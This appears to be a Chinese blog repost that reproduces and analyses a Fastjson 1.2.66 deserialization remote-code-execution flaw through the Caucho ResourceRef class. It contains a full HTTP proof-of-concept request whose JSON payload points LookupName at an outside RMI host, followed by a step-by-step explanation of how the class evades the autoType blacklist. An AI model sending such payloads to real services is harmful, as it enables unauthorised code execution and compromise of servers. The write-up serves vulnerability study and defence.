首页 > Web开发 > 详细

Fastjson 1.2.66 CauchoQuercus Rce 漏洞复现&利用

时间:2021-02-05 23:30:27      阅读:58      评论:0      收藏:0      [点我收藏+]

0x01 漏洞背景

fastjson<= 1.2.66

0x02 漏洞复现

poc:

POST /FastjsonWeb_war/openAutoType HTTP/1.1
Host: 192.168.52.136:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type:application/json
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 115

{
	"@type":"com.caucho.config.types.ResourceRef",
	"LookupName":"rmi://192.168.52.129:9999/rce_1_2_24_exploit"
}

技术分享图片

0x03 漏洞分析

在开启AutoType之后,会先过白名单,若在白名单之中,则直接加载该类。若不在白名单,且不在黑名单中则加载该类,若在黑名单中则直接抛出异常。

发送poc

技术分享图片

解析

技术分享图片

checkAutoType进行类名检查

技术分享图片

黑白名单检查

技术分享图片

说白了就是,因为开启了AutoTypeSupport之后,会进入黑白名单检查,但这个类不在黑名单检测当中所以在黑白名单之后加载该类。

技术分享图片

进入deserialize方法进行发序列化操作

技术分享图片

最终跟到setvalue

技术分享图片

前面的分析也讲过,当fastjson进行反序列化时会调用该对象的set方法进行属性赋值,调用get方法进行值的获取。如本文中的poc是LookupName,所以会对应调用该类的setLookupName方法。

技术分享图片

最终在调用getValue获取value属性的时候,刚刚好触发了lookup方法,且参数可控,为我们设置的LookupName的rmi链接

技术分享图片

从而造成了远程命令执行。

0x04 参考

https://mp.weixin.qq.com/s/4JzPRolR0cELL5g9bWM_eA

Fastjson 1.2.66 CauchoQuercus Rce 漏洞复现&利用

原文:https://www.cnblogs.com/0x28/p/14379792.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!